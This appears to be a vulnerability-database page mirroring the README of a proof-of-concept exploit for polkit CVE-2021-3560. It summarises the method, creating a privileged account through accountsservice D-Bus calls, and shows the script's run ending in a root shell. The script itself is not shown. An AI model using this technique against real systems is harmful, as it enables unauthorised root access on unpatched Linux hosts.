关联漏洞
标题：
polkit 代码问题漏洞
(CVE-2021-3560)
描述：polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 存在代码问题漏洞，该漏洞源于当请求进程在调用polkit_system_bus_name_get_creds_sync之前断开与dbus-daemon的连接时，该进程无法获得进程的唯一uid和pid，也无法验证请求进程的特权。
描述
Privilege escalation with polkit - CVE-2021-3560
介绍
# Polkit-exploit - CVE-2021-3560
Privilege escalation with polkit - CVE-2021-3560
# Summary
CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.
# Exploit Code Author
Ahmad Almorabea
@almorabea
http://almorabea.net
# Usage
```
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#
```
# Demo
GUI Authentication
******
Terminal Authentication
******
# Credit
Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)
文件快照
[4.0K] /data/pocs/e7fe5563273e6e0d7e8a3319467af69919e83e64
├── [4.7M] CVE-2021-3560-Auth-On.gif
├── [2.4K] CVE-2021-3560.py
├── [1.7M] CVE-2021-3560-Root.gif
└── [1.6K] README.md
0 directories, 4 files
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